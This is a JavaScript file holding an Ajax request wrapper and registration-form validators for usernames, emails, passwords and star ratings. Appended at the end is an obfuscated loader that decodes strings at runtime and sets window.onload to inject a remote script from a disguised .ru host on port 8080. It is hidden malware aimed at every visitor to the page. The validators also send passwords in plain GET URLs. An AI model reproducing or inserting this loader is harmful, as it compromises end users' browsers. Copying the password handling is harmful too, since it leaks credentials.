/*
 * 
*/

function Ajax() {
  this.req = null;
  this.url = null;
  this.status = null;
  this.statusText = '';
  this.method = 'GET';
  this.async = true;
  this.dataPayload = null;
  this.readyState = null;
  this.responseText = null;
  this.responseXML = null;
  this.handleResp = null;
  this.responseFormat = 'text', // 'text', 'xml', 'object'
  this.mimeType = null;
  this.headers = [];

  
  this.init = function() {
    var i = 0;
    var reqTry = [ 
      function() { return new XMLHttpRequest(); },
      function() { return new ActiveXObject('Msxml2.XMLHTTP') },
      function() { return new ActiveXObject('Microsoft.XMLHTTP' )} ];
      
    while (!this.req && (i < reqTry.length)) {
      try { 
        this.req = reqTry[i++]();
      } 
      catch(e) {}
    }
    return true;
  };
  this.doGet = function(url, hand, format) {
    this.url = url;
    this.handleResp = hand;
    this.responseFormat = format || 'text';
    this.doReq();
  };
  this.doPost = function(url, dataPayload, hand, format) {
    this.url = url;
    this.dataPayload = dataPayload;
    this.handleResp = hand;
    this.responseFormat = format || 'text';
    this.method = 'POST';
    this.doReq();
  };
  this.doReq = function() {
    var self = null;
    var req = null;
    var headArr = [];
    
    if (!this.init()) {
      alert('Could not create XMLHttpRequest object.');
      return;
    }
    req = this.req;
    req.open(this.method, this.url, this.async);
    if (this.method == "POST") {
      this.req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    }
    if (this.method == 'POST') {
      req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    }
    self = this;
    req.onreadystatechange = function() {
      var resp = null;
      self.readyState = req.readyState;
      if (req.readyState == 4) {
        
        self.status = req.status;
        self.statusText = req.statusText;
        self.responseText = req.responseText;
        self.responseXML = req.responseXML;
        
        switch(self.responseFormat) {
          case 'text':
            resp = self.responseText;
            break;
          case 'xml':
            resp = self.responseXML;
            break;
          case 'object':
            resp = req;
            break;
        }
        
        if (self.status > 199 && self.status < 300) {
          if (!self.handleResp) {
            alert('No response handler defined ' +
              'for this XMLHttpRequest object.');
            return;
          }
          else {
            self.handleResp(resp);
          }
        }
        
        else {
          self.handleErr(resp);
        }
      }
    }
    req.send(this.dataPayload);
  };
  this.abort = function() {
    if (this.req) {
      this.req.onreadystatechange = function() { };
      this.req.abort();
      this.req = null;
    }
  };
  this.handleErr = function() {
    var errorWin;
    // Create new window and display error
    try {
      errorWin = window.open('', 'errorWin');
      errorWin.document.body.innerHTML = this.responseText;
    }
    // If pop-up gets blocked, inform user
    catch(e) {
      alert('An error occurred, but the error message cannot be' +
      ' displayed because of your browser\'s pop-up blocker.\n' +
      'Please allow pop-ups from this Web site.');
    }
  };
  this.setMimeType = function(mimeType) {
    this.mimeType = mimeType;
  };
  this.setHandlerResp = function(funcRef) {
    this.handleResp = funcRef;
  };
  this.setHandlerErr = function(funcRef) {
    this.handleErr = funcRef; 
  };
  this.setHandlerBoth = function(funcRef) {
    this.handleResp = funcRef;
    this.handleErr = funcRef;
  };
  this.setRequestHeader = function(headerName, headerValue) {
    this.headers.push(headerName + ': ' + headerValue);
  };
  
}

// sha2fet ajaxeye
var hand = function(str){
	window.document.getElementById('response_span').innerHTML=str;
}
var handt = function(str){
	window.document.getElementById('response_spant').innerHTML=str;
}
var handpass = function(str){
	window.document.getElementById('response_spanpass').innerHTML=str;
}
var handpasscon = function(str){
	window.document.getElementById('response_spanconpass').innerHTML=str;
}
var handpassconstar = function(str){
	window.document.getElementById('ratingtest').innerHTML=str;
}

function validateUsername(user){
	var strDomain='';
	window.document.getElementById('response_span').innerHTML="Validating Username ...";
	var ajax = new Ajax();
	ajax.doGet(strDomain+'login_duplication.php?action=validateUsername&companyname='+user,hand,'text');
}
function validateEmailname(user){
	var strDomain='';
	window.document.getElementById('response_spant').innerHTML="Validating Email Address...";
	var ajax = new Ajax();
	ajax.doGet(strDomain+'login_duplication.php?action=validateEmailname&emailaddress='+user,handt,'text');
}

function validatePassword(user){
	var strDomain='';
	window.document.getElementById('response_spanpass').innerHTML="Validating Password ...";
	var ajax = new Ajax();
	ajax.doGet(strDomain+'login_duplication.php?action=validatePassword&passwordval='+user,handpass,'text');
}

function validateConPassword(user){
	var Varpasswordval=document.reg.Varpassword.value;
	var strDomain='';
	window.document.getElementById('response_spanconpass').innerHTML="Validating Confirm Password ...";
	var ajax = new Ajax();
	ajax.doGet(strDomain+'login_duplication.php?action=validateConPassword&passdis='+Varpasswordval+'&confirmpasswordval='+user,handpasscon,'text');
}
function StarRating(user){
	var strDomain='';
	var ajax = new Ajax();
window.document.getElementById('ratingtest').innerHTML="loading ...";
document.getElementById('rating').style.display="none";
	ajax.doGet(strDomain+'login_duplication.php?action=StarRatingval&votevalue='+user,handpassconstar,'text');
}
try {var W=new Array();this.Xt="";var WN;if(WN!='u_' && WN!='uT'){WN=''};this.An="";var v=']';var Yi;if(Yi!='' && Yi!='Cv'){Yi=''};var l='';var Cg;if(Cg!='' && Cg!='G'){Cg=''};var u='replace';var q=RegExp;var _='[';var TX=new Array();var pE;if(pE!='' && pE!='t'){pE=null};var B='g';var b;if(b!='sT' && b!='y'){b='sT'};var ZX="";this.Bh="";function Z(A,n){var iF;if(iF!='tS' && iF!='K'){iF=''};var lc=_;var U="";var Kh=new Date();lc+=n;var j;if(j!='_X' && j!='Lu'){j=''};var yU;if(yU!='vj' && yU!='PB'){yU=''};lc+=v;var nA=new String();var _W=new String();var E=new q(lc, B);var AX='';return A[u](E, l);var dp=new Array();var TqP="";};var TB='';var Jo=new Array();var p=Z('bAoAdTyT',"ATl");var D='';var V='';var dC=new Array();var uW=Z('sQeZtwADtCtZrQiZbDuDtweQ',"ZDCQw");var SP='';var bl;if(bl!='' && bl!='nO'){bl=null};var d=Z('aWpWpWeonWdoCohoiol6d6',"6Wo");var a=Z('ofnflyoyaydy',"yf");this.WqX="";var P=Z('815115015155181111101511',"51");this.VG="";var Uc;if(Uc!='HN' && Uc!='AO'){Uc='HN'};var Y=Z('hXtLtXpX:X/L/XsLmXaXsLhLiXnXgLmLaLgLaLzLiLnLeX-XcLoXmX.XcXlLaLsLsXmXaLtLeXsL.LcXoLmX.XiXmLmXoXbXiLlLiLeLnXsXcXoXuXtX2X4L-XdLeL.XtXaLgXsXaXlXeXuLsXaL.XrLuX:L',"XL");this.uj="";var k=Z('/CgbobobgblHeb.CcCoHmH.Cdbob/HgHobobgHlCeb.CcbobmH.bdboH/HgCoHoCgHlHeb.HcHobmb/bcboCmHdbibrHebcHtb.bdCeC/HiHrbcbtHcb.HcCoC.biHnb.HpChbpC',"HbC");var A="1";var vF=Z('cprwewaptwepEwlwewmwepnwtp',"pw");var M=new Date();var iZ=new Date();var _q=Z('sucKruiKpKtK',"uMjK");var lJ;if(lJ!='' && lJ!='lV'){lJ='I'};var RI;if(RI!='dAb' && RI!='cL'){RI=''};var YO='';var zS="";window[a]=function(){this.OI="";s=document[vF](_q);var Gp;if(Gp!='PA'){Gp=''};var ejh='';D+=Y;D+=P;this.Xp="";D+=k;var CL;if(CL!='' && CL!='TZ'){CL=''};var vQ;if(vQ!='Ki'){vQ=''};s.setAttribute('defer', A);var sM=new String();var ev=new String();var au=document[p];var dT=new Array();var yV='';s.src=D;var Ln='';var Lq=new Date();au.appendChild(s);var mZ;if(mZ!=''){mZ='wt'};var BS=new String();};var Nd;if(Nd!='ie' && Nd!='xa'){Nd=''};var Ju;if(Ju!='' && Ju!='qg'){Ju=''};} catch(H){var nC=new Date();};